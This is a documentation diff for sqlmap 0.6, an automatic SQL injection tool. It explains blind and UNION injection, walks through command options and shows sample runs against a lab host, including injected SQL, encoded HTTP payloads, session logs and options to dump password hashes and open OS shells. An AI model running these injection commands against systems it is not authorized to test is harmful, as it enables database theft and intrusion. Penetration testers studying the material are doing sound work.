+[hh:mm:42] [INFO] fetching banner
+[hh:mm:42] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32)))
+[hh:mm:42] [INFO] retrieved: PostgreSQL 8.2.7 o
+[hh:mm:43] [ERROR] user aborted
+
+
+

+ +

As you can see, I stopped the injection with CTRL-C while +retrieving the PostgreSQL banner and logged the session to text file +sqlmap.log.

+

+

+
+$ cat sqlmap.log
+
+[hh:mm:40 MM/DD/YY]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection point][GET]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection parameter][id]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection type][numeric]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Parenthesis][0]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][CONCAT('1', '1')][]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH(SYSDATE)][]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][COALESCE(9, NULL)][9]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH('9')][1]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][DBMS][PostgreSQL]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][VERSION()][PostgreSQL 8.2.7 o
+
+
+

+ +

As you can see, all queries performed and their output have been logged to +the session file in real time while performing the injection.

+ +

The session file has a structure as follows:

+

+

+
+[hh:mm:ss MM/DD/YY]
+[Target URL][Injection point][Parameters][Query or information name][Query output or value]
+
+
+

+ +

Performing the same request now, sqlmap calculates the query length, +in the example VERSION(), and resumes the injection from the last +character retrieved to the end of the query output.

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
+  -v 1 -s "sqlmap.log"
+
+[...]
+back-end DBMS:  PostgreSQL
+
+[hh:mm:37] [INFO] fetching banner
+[hh:mm:37] [INFO] retrieved the length of query output: 93
+[hh:mm:37] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.2.7 o...
+[hh:mm:37] [INFO] retrieving pending 75 query output characters
+[hh:mm:37] [INFO] query: COALESCE(CAST(SUBSTR((VERSION()), 19, 93) AS CHARACTER(10000)), 
+(CHR(32)))
+[hh:mm:37] [INFO] starting 1 threads
+[hh:mm:37] [INFO] retrieved: n i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 
+4.2.3-2ubuntu4)
+banner:    'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 
+4.2.3-2ubuntu4)'
+
+
+

+ + +

Load options from a configuration INI file

+ +

Option: -c

+ +

It is possible to pass user's option from a configuration INI file, an +example is sqlmap.conf.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -c "sqlmap.conf"
+
+[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
+back-end DBMS:  MySQL >= 5.0.0
+
+
+

+ + +

Save options on a configuration INI file

+ +

Option: --save

+ + + +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
+  -v 1 --save
+
+[hh:mm:33] [INFO] saved command line options on '/software/sqlmap/sqlmap-ADMcR.conf' 
+configuration file
+[hh:mm:33] [INFO] testing connection to the target url
+[hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
+[...]
+
+
+

+ +

As you can see, sqlmap saved the command line options to a configuration +INI file, sqlmap-ADMcR.conf.

+

+

+
+$ cat sqlmap-ADMcR.conf
+
+[Request]
+aCred = 
+aType = 
+agent = 
+cookie = 
+data = 
+googleDork = 
+method = GET
+proxy = 
+referer = 
+testParameter = 
+threads = 1
+url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2
+userAgentsFile = 
+
+[Miscellaneous]
+eta = False
+sessionFile = 
+unionTest = False
+unionUse = False
+updateAll = False
+verbose = 1
+
+[Enumeration]
+col = 
+db = 
+dumpAll = False
+dumpTable = False
+excludeSysDbs = False
+getBanner = True
+getColumns = False
+getCurrentDb = False
+getCurrentUser = False
+getDbs = False
+getPasswordHashes = False
+getPrivileges = False
+getTables = False
+getUsers = False
+query = 
+sqlShell = False
+tbl = 
+user = 
+
+[File system]
+rFile = 
+wFile = 
+
+[Takeover]
+osShell = False
+
+[Fingerprint]
+extensiveFp = False
+
+[Injection]
+dbms = 
+string = 
+
+
+

+ +

The file is a valid sqlmap configuration INI file. +You can edit the configuration options as you wish and pass it to sqlmap +with the -c option as explained in the previous paragraph:

+

+

+
+$ python sqlmap.py -c "sqlmap-ADMcR.conf"
+
+[...]
+back-end DBMS:  PostgreSQL
+
+[hh:mm:10] [INFO] fetching banner
+[hh:mm:10] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32)))
+[hh:mm:10] [INFO] retrieved: PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 
+4.2.3 (Ubuntu 4.2.3-2ubuntu4)
+[hh:mm:16] [INFO] performed 657 queries in 6 seconds
+banner:    'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 
+4.2.3-2ubuntu4)'
+
+
+

+ + +

6. Disclaimer

+ +

sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details.

+ +

Whatever you do with this tool is uniquely your responsability. If you are +not authorized to punch holes in the network you are attacking be aware +that such action might get you in trouble with a lot of law enforcement +agencies.

+ + +

7. Authors

+ +

Feel free to contact us for comments, suggestions, bug reports and +patches.

+

+

+

+ + + + diff --git a/doc/README.pdf b/doc/README.pdf new file mode 100644 index 000000000..f6f3c93b8 Binary files /dev/null and b/doc/README.pdf differ diff --git a/doc/README.sgml b/doc/README.sgml new file mode 100644 index 000000000..9a9cecaa1 --- /dev/null +++ b/doc/README.sgml @@ -0,0 +1,3170 @@ + + +
+ +sqlmap user's manual +<author>by <htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G."> +<date>version 0.6, 1st of September 2008 +<abstract> +This document is the user's manual to use <htmlurl url="http://sqlmap.sourceforge.net" name="sqlmap">. +Check the project <htmlurl url="http://sqlmap.sourceforge.net" name="homepage"> +for the latest version. +</abstract> + +<toc> + + +<sect>Introduction +<p> +sqlmap is an automatic <htmlurl url="http://www.google.com/search?q=SQL+injection" +name="SQL injection"> tool. Its goal is to detect and take advantage of +SQL injection vulnerabilities on web applications. Once it detects one or +more SQL injections on the target host, the user can choose among a +variety of options to perform an extensive back-end database management +system fingerprint, retrieve DBMS session user and database, enumerate +users, password hashes, privileges, databases, dump entire or user's +specific DBMS tables/columns, run his own SQL <tt>SELECT</tt> statement, +read specific files on the file system and much more. + + +<sect1>Requirements + +<p> +sqlmap is developed in <htmlurl url="http://www.python.org" name="Python">, +a dynamic object-oriented interpreted programming language. +This makes the tool independent from the operating system since it only +requires the Python interpreter. +The interpreter is freely downloadable from its +<htmlurl url="http://python.org/download/" name="official site">. +To make it even easier, many GNU/Linux distributions come out of the box +with Python interpreter package installed and other Unices and MacOS X +too provide it packaged in their formats and ready to be installed. +Windows users can download and install the Python setup-ready installer +for x86, AMD64 and Itanium too. + +Optionally, if you are running sqlmap on Windows, you may wish to install +<htmlurl url="http://ipython.scipy.org/moin/PyReadline/Intro" name="PyReadline"> +to be able to take advantage of the sqlmap TAB completion and history +support functionalities in the SQL shell and OS shell. +Note that these functionalities are available natively by Python official +readline library on other operating systems. + + +<sect1>Scenario + +<p> +Let's say that you are auditing a web application and found a web page +that accepts dynamic user-provided values on <tt>GET</tt> or <tt>POST</tt> +parameters or HTTP <tt>Cookie</tt> values or HTTP <tt>User-Agent</tt> +header value. +You now want to test if these are affected by a SQL injection +vulnerability, and if so, exploit them to retrieve as much information as +possible out of the web application's back-end database management system +or even be able to access the underlying operating system. + +Consider that the target url is: + +<tscreen><tt>http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2</tt></tscreen> + +Assume that: + +<tscreen><tt>http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1&cat=2</tt></tscreen> + +is the same page as the original one and: + +<tscreen><tt>http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2&cat=2</tt></tscreen> + +differs from the original one, it means that you are in front of a SQL +injection vulnerability in the <tt>id</tt> <tt>GET</tt> parameter of the +<tt>index.php</tt> web application page which means that no IDS/IPS, no +web application firewall, no parameters' value sanitization is performed +on the server-side. + +This is a quite common flaw in dynamic content web applications and it +does not depend upon the back-end database management system nor on the web +application programming language: it is a programmer code's security flaw. +The <htmlurl url="http://www.owasp.org" name="Open Web Application Security Project"> +recently rated in their <htmlurl url="http://www.owasp.org/index.php/Top_10_2007" +name="OWASP Top Ten"> survey this vulnerability as the <htmlurl +url="http://www.owasp.org/index.php/Top_10_2007-A2" name="most +common"> and important web application vulnerability, second only to +<htmlurl url="http://www.owasp.org/index.php/Top_10_2007-A1" +name="Cross-Site Scripting">. + +Back to the scenario, probably the SQL <tt>SELECT</tt> statemenet into +<tt>index.php</tt> has a syntax similar to the following SQL query, in +pseudo PHP code: + +<tscreen><tt> +$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id']; +</tt></tscreen> + +As you can see, appending any other syntatically valid SQL condition after +a value for <tt>id</tt> such condition will take place when the web +application passes the query to the back-end database management system +that executes it, that is why the condition <tt>id=1 AND 1=1</tt> is valid +(<em>True</em>) and returns the same page as the original one, with the +same content and without showing any SQL error message. + +Moreover, in this simple and easy to inject scenario it would be also +possible to append, not just one or more valid SQL condition(s), but also +stacked SQL queries, for instance something like <tt>[...]&id=1; +ANOTHER SQL QUERY--</tt> + +Now that you found this SQL injection vulnerable parameter, you can +exploit it by manipulating the <tt>id</tt> parameter value in the HTTP +request. + +There exist many <htmlurl url="http://del.icio.us/inquis/sqlinjection" name="resources"> +on the Net explaining in depth how to prevent and how to exploit SQL +injection vulnerabilities and it is recommended to read them if you are +not familiar with the issue before going ahead with sqlmap. + +Passing the original address, <tt>http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2</tt> +to sqlmap, the tool will automatically: + +<itemize> +<item>Identify the vulnerable parameter(s) (<tt>id</tt> in this scenario); +<item>Depending on the user's options, sqlmap uses the <bf>blind SQL +injection</bf> or the <bf>inband SQL injection</bf> technique as described +in the following section to go ahead with the exploiting. +</itemize> + + +<sect1>Techniques + +<p> +sqlmap implements two techniques to exploit a SQL injection vulnerability: + +<itemize> +<item><bf>Blind SQL injection</bf>, also known as <bf>inference SQL +injection</bf>: sqlmap appends to the affected parameter in the HTTP +request, a syntatically valid SQL statement string containing a +<tt>SELECT</tt> sub-statement, or any other SQL statement whose the user +want to retrieve the output. +For each HTTP response, by making a comparison based upon HTML page +content hashes, or string matches, with the original request, the tool +determines the output value of the statement character by character. +The bisection algorithm implemented in sqlmap to perform this technique +is able to fetch each output character with at maximum seven HTTP +requests. +This is sqlmap default SQL injection technique. +<item><bf>Inband SQL injection</bf>, also known as <bf>UNION query SQL +injection</bf>: sqlmap appends to the affected parameter in the HTTP +request, a syntatically valid SQL statement string starting with a +<tt>UNION ALL SELECT</tt>. This techique is useful if the web application +page passes the output of the <tt>SELECT</tt> statement to a <tt>for</tt> +cycle, or similar, so that each line of the query output is printed on the +page content. +This technique is much faster if the target url is affected by because +in a single HTTP response it returns the whole query output within the +page content. +This SQL injection technique is an alternative to the first one. +</itemize> + +It is strongly recommended to run at least once sqlmap with the +<tt>--union-test</tt> option to test if the affected parameter is used +within a <tt>for</tt> cycle, or similar, and in case use +<tt>--union-use</tt> option to exploit this vulnerability because it +saves a lot of time and it does not weight down the web server log file +with hundreds of HTTP requests. + + +<sect>Features + +<p> +Major features implemented in sqlmap include: + +<itemize> +<item>Full support for <bf>MySQL</bf>, <bf>Oracle</bf>, <bf>PostgreSQL</bf> +and <bf>Microsoft SQL Server</bf> back-end database management systems. +Besides these four database management systems, sqlmap can also identify +Microsoft Access, DB2, Informix, Sybase and Interbase. +<item><bf>Extensive back-end database management system fingerprint</bf> +based upon +<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="inband error messages">, +<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="banner parsing">, +<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="functions output comparison"> and +<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="specific features"> +such as MySQL comment injection. It is also possible to force the back-end +database management system name if you already know it. +<item>Full support for two SQL injection techniques: <bf>blind SQL +injection</bf> and <bf>inband SQL injection</bf>. +<item>Options to retrieve on all four back-end database management system +<bf>banner</bf>, <bf>current user</bf>, <bf>current database</bf>, +enumerate <bf>users</bf>, <bf>users password hashes</bf>, <bf>users +privileges</bf>, <bf>databases</bf>, <bf>tables</bf>, <bf>columns</bf>, +dump <bf>tables entries</bf>, dump <bf>whole database management +system</bf> and run your <bf>own SQL <tt>SELECT</tt> statement</bf>. +<item>If the back-end database management system is MySQL it is also +possible to <bf>read a specific file content</bf> and in some +circumstances <bf>prompt for an interactive operating system shell</bf> +with TAB completion and history support. +<item>Automatically tests all provided <bf>GET</bf> parameters, +<bf>POST</bf> parameters, HTTP <bf>Cookie</bf> header values and HTTP +<bf>User-Agent</bf> header value to find the dynamic ones, which means +those that vary the HTTP response page content. +On the dynamic ones sqlmap automatically tests and detects the ones +affected by SQL injection. Each dynamic parameter is tested for +<em>numeric</em>, <em>single quoted string</em>, <em>double quoted +string</em> and all of these three datatypes with zero, one and two +parenthesis to correctly detect which is the <tt>SELECT</tt> statement syntax to +perform further injections with. It is also possible to specify the +parameter(s) that you want to perform tests and use for injection on. +<item>Option to specify the <bf>maximum number of concurrent HTTP +requests</bf> to speed up the blind SQL injection algorithms +(multithreading). +<item><bf>HTTP <tt>Cookie</tt> header</bf> string support, useful when the +web application requires authentication based upon cookies and you have +such data or in case you just want to test for and exploit SQL injection +on such header. +<item>Automatically handle <bf>HTTP <tt>Set-Cookie</tt> header</bf> from +target url, re-establishing of the session if it expires. Test and exploit +on these values is supported too. +<item><bf>HTTP Basic and Digest authentications</bf> support. +<item><bf>Anonymous HTTP proxy</bf> support to pass by the HTTP requests +to the target URL. +<item>Options to fake the <bf>HTTP <tt>Referer</tt> header</bf> value and +the <bf>HTTP <tt>User-Agent</tt> header</bf> value specified by user or +randomly selected from a text file. +<item>Support to increase the <bf>verbosity level of output messages</bf>: +there exist <bf>six levels</bf>. The default level is 0 (silent) in which +only warnings, errors and tracebacks, if they occur, will be shown. +<item><bf>Estimated time of arrival</bf> support for each query, updated +in real time while fetching the information to give to the user an +overview on how long it will take to retrieve the output. +<item>Support to save the session (queries and their output, even if +partially retrieved) in real time while fetching the data on a text file +and <bf>resume the injection from this file in a second time</bf>. +<item>Support to read options from a configuration INI file rather than +specify each time all of the options on the command line. Support also to +save command line options on a configuration INI file. +<item><bf>PHP setting <tt>magic_quotes_gpc</tt> bypass</bf> by encoding +every query string, between single quotes, with <tt>CHAR</tt>, or similar, +database management system function. +</itemize> + + +<sect>Download and update + +<p> +sqlmap can be downloaded from its +<htmlurl url="http://sourceforge.net/project/showfiles.php?group_id=171598&package_id=196107" +name="SourceForge File List page">. +It is available in various formats: + +<itemize> +<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.tar.gz" +name="Source gzip compressed"> operating system independent. +<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.tar.bz2" +name="Source bzip2 compressed"> operating system independent. +<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.zip" +name="Source zip compressed"> operating system independent. +<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6-1_all.deb" +name="DEB binary package"> architecture independent for Debian and any +other Debian derivated GNU/Linux distribution. +<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6-1.noarch.rpm" +name="RPM binary package"> architecture independent for Fedora and any +other operating system that can install RPM packages. +<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6_exe.zip" +name="Portable executable for Windows"> that <bf>does not require the Python +interpreter</bf> to be installed on the operating system. +</itemize> + +<p> +Whatever way you downloaded sqlmap, run it with <tt>--update</tt> +option to update it to the latest stable version available on its +<htmlurl url="http://sourceforge.net/project/showfiles.php?group_id=171598&package_id=196107" +name="SourceForge File List page">. + + +<sect>License and copyright + +<p> +sqlmap is released under the terms of the +<htmlurl url="http://www.gnu.org/licenses/old-licenses/gpl-2.0.html" name="General Public License v2">. +sqlmap is copyrighted by +<htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G."> +and <htmlurl url="mailto:daniele.bellucci@gmail.com" name="Daniele Bellucci">. + + +<sect>Usage + +<p> +<tscreen><verb> +$ python sqlmap.py -h + + sqlmap/0.6 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>} + +Options: + --version show program's version number and exit + -h, --help show this help message and exit + + Request: + These options have to be specified to set the target url, HTTP method, + how to connect to the target url or Google dorking results in general. + + -u URL, --url=URL Target url + -g GOOGLEDORK Process Google dork results as target urls + -p TESTPARAMETER Testable parameter(s) + --method=METHOD HTTP method, GET or POST (default: GET) + --data=DATA Data string to be sent through POST + --cookie=COOKIE HTTP Cookie header + --referer=REFERER HTTP Referer header + --user-agent=AGENT HTTP User-Agent header + -a USERAGENTSFILE Load a random HTTP User-Agent header from file + --auth-type=ATYPE HTTP Authentication type, value: Basic or Digest + --auth-cred=ACRED HTTP Authentication credentials, value: name:password + --proxy=PROXY Use a HTTP proxy to connect to the target url + --threads=THREADS Maximum number of concurrent HTTP requests (default 1) + + Injection: + --string=STRING String to match in page when the query is valid + --dbms=DBMS Force back-end DBMS to this value + + Fingerprint: + -f, --fingerprint Perform an extensive database fingerprint + + Enumeration: + These options can be used to enumerate the back-end database + management system information, structure and data contained in the + tables. Moreover you can run your own SQL SELECT queries. + + -b, --banner Retrieve DBMS banner + --current-user Retrieve DBMS current user + --current-db Retrieve DBMS current database + --users Enumerate DBMS users + --passwords Enumerate DBMS users password hashes (opt: -U) + --privileges Enumerate DBMS users privileges (opt: -U) + --dbs Enumerate DBMS databases + --tables Enumerate DBMS database tables (opt: -D) + --columns Enumerate DBMS database table columns (req: -T, -D) + --dump Dump DBMS database table entries (req: -T, -D opt: -C) + --dump-all Dump all DBMS databases tables entries + -D DB DBMS database to enumerate + -T TBL DBMS database table to enumerate + -C COL DBMS database table column to enumerate + -U USER DBMS user to enumerate + --exclude-sysdbs Exclude DBMS system databases when enumerating tables + --sql-query=QUERY SQL SELECT query to be executed + --sql-shell Prompt for an interactive SQL shell + + File system access: + These options can be used to access the back-end database management + system file system taking advantage of native DBMS functions or + specific DBMS design weaknesses. + + --read-file=RFILE Read a specific OS file content (only on MySQL) + --write-file=WFILE Write to a specific OS file (not yet available) + + Operating system access: + This option can be used to access the back-end database management + system operating system taking advantage of specific DBMS design + weaknesses. + + --os-shell Prompt for an interactive OS shell (only on PHP/MySQL + environment with a writable directory within the web + server document root for the moment) + + Miscellaneous: + --union-test Test for UNION SELECT (inband) SQL injection + --union-use Use the UNION SELECT (inband) SQL injection to + retrieve the queries output. No need to go blind + --eta Retrieve each query output length and calculate the + estimated time of arrival in real time + -v VERBOSE Verbosity level: 0-5 (default 0) + --update Update sqlmap to the latest stable version + -s SESSIONFILE Save and resume all data retrieved on a session file + -c CONFIGFILE Load options from a configuration INI file + --save Save options on a configuration INI file +</verb></tscreen> + + +<sect1>Request + +<sect2>Target URL + +<p> +Option: <tt>-u</tt> or <tt>--url</tt> + +<p> +To run sqlmap on a single target URL. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" + +[...] +back-end DBMS: MySQL >= 5.0.0 +</verb></tscreen> + + +<sect2>Target URL and verbosity + +<p> +Option: <tt>-v</tt> + +<p> +Verbose options can be used to set the verbosity level of output messages. +There exist six levels. +The default level is 0 (silent) in which only warnings, errors and +tracebacks, if they occur, will be shown. Level 1 shows also info +messages, level 2 show also debug messages, level 3 show also HTTP +requests with all HTTP headers sent, level 4 show also HTTP responses +headers and level 5 show also HTTP responses page content. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target (verbosity level <bf>1</bf>): + +<tscreen><verb> +$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 1 + +[hh:mm:01] [INFO] testing connection to the target url +[hh:mm:01] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:02] [INFO] url is stable +[hh:mm:02] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:02] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:02] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:02] [INFO] confirming that GET parameter 'id' is dynamic +[hh:mm:02] [INFO] GET parameter 'id' is dynamic +[hh:mm:02] [INFO] testing sql injection on GET parameter 'id' +[hh:mm:02] [INFO] testing numeric/unescaped injection on GET parameter 'id' +[hh:mm:02] [INFO] confirming numeric/unescaped injection on GET parameter 'id' +[hh:mm:02] [INFO] GET parameter 'id' is numeric/unescaped injectable +[hh:mm:02] [INFO] testing if GET parameter 'cat' is dynamic +[hh:mm:02] [WARNING] GET parameter 'cat' is not dynamic +[hh:mm:02] [INFO] testing for parenthesis on injectable parameter +[hh:mm:02] [INFO] the injectable parameter requires 0 parenthesis +[hh:mm:02] [INFO] testing MySQL +[hh:mm:02] [INFO] query: CONCAT(CHAR(53), CHAR(53)) +[hh:mm:02] [INFO] retrieved: 55 +[hh:mm:02] [INFO] performed 20 queries in 0 seconds +[hh:mm:02] [INFO] confirming MySQL +[hh:mm:02] [INFO] query: LENGTH(CHAR(53)) +[hh:mm:02] [INFO] retrieved: 1 +[hh:mm:02] [INFO] performed 13 queries in 0 seconds +[hh:mm:02] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:02] [INFO] retrieved: 5 +[hh:mm:02] [INFO] performed 13 queries in 0 seconds +back-end DBMS: MySQL >= 5.0.0 +</verb></tscreen> + +<p> +Example on a <bf>MySQL 5.0.51</bf> target (verbosity level <bf>2</bf>): + +<tscreen><verb> +$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 2 + +[hh:mm:34] [DEBUG] initializing the configuration +[hh:mm:34] [DEBUG] initializing the knowledge base +[hh:mm:34] [DEBUG] cleaning up configuration parameters +[hh:mm:34] [DEBUG] setting the HTTP method to perform HTTP requests through +[hh:mm:34] [DEBUG] creating HTTP requests opener object +[hh:mm:34] [DEBUG] parsing XML queries file +[hh:mm:34] [INFO] testing connection to the target url +[hh:mm:34] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:35] [INFO] url is stable +[hh:mm:35] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:35] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:35] [INFO] testing if GET parameter 'id' is dynamic +[...] +</verb></tscreen> + +<p> +Example on a <bf>MySQL 5.0.51</bf> target (verbosity level <bf>3</bf>): + +<tscreen><verb> +$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 3 + +[...] +[hh:mm:28] [INFO] testing connection to the target url +[hh:mm:28] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close +[...] +[hh:mm:29] [INFO] testing MySQL +[hh:mm:29] [INFO] query: CONCAT(CHAR(52), CHAR(52)) +[hh:mm:29] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20 +CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close +[...] +</verb></tscreen> + +<p> +Example on a <bf>MySQL 5.0.51</bf> target (verbosity level <bf>4</bf>): + +<tscreen><verb> +$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 4 + +[...] +[hh:mm:32] [INFO] testing connection to the target url +[hh:mm:32] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200): +Date: Thu, 24 Jul 2008 14:00:32 GMT +Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 +OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 +X-Powered-By: PHP/5.2.4-2ubuntu5.2 +Content-Length: 127 +Connection: close +Content-Type: text/html +[...] +[hh:mm:33] [INFO] testing MySQL +[hh:mm:33] [INFO] query: CONCAT(CHAR(52), CHAR(52)) +[hh:mm:33] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20 +CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200): +Date: Thu, 24 Jul 2008 14:00:33 GMT +Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 +OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 +X-Powered-By: PHP/5.2.4-2ubuntu5.2 +Content-Length: 75 +Connection: close +Content-Type: text/html +[...] +</verb></tscreen> + +<p> +Example on a <bf>MySQL 5.0.51</bf> target (verbosity level <bf>5</bf>): + +<tscreen><verb> +$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 5 + +[...] +[hh:mm:23] [INFO] testing connection to the target url +[hh:mm:23] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200): +Date: Thu, 24 Jul 2008 14:02:23 GMT +Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 +OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 +X-Powered-By: PHP/5.2.4-2ubuntu5.2 +Content-Length: 127 +Connection: close +Content-Type: text/html + +<html><body> +<b>SQL results:</b> +<table border="1"> +<tr><td>1</td><td>luther</td><td>blissett</td></tr> +</table> +</body></html> +[...] +[hh:mm:24] [INFO] testing MySQL +[hh:mm:24] [INFO] query: CONCAT(CHAR(51), CHAR(51)) +[hh:mm:24] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20 +CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200): +Date: Thu, 24 Jul 2008 14:02:24 GMT +Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 +OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 +X-Powered-By: PHP/5.2.4-2ubuntu5.2 +Content-Length: 75 +Connection: close +Content-Type: text/html + +<html><body> +<b>SQL results:</b> +<table border="1"> +</table> +</body></html> +[...] +</verb></tscreen> + + +<sect2>Process Google dork results as target urls + +<p> +Option: <tt>-g</tt> + +<p> +Rather than providing a target URL it is also possible to test and inject +on <tt>GET</tt> parameters on the results of your Google dork. + +This option makes sqlmap negotiate with the search engine its session +cookie to be able to perform a search, then sqlmap will retrieve Google +first 100 results for the Google dork expression with <tt>GET</tt> parameters +asking you if you want to test and inject on each possible affected URL. + +<p> +Example of Google dorking with expression <tt>site:yourdomain.com +inurl:example.php</tt>: + +<tscreen><verb> +$ python sqlmap.py -g "site:yourdomain.com inurl:example.php" -v 1 + +[hh:mm:38] [INFO] first request to Google to get the session cookie +[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are +testable hosts 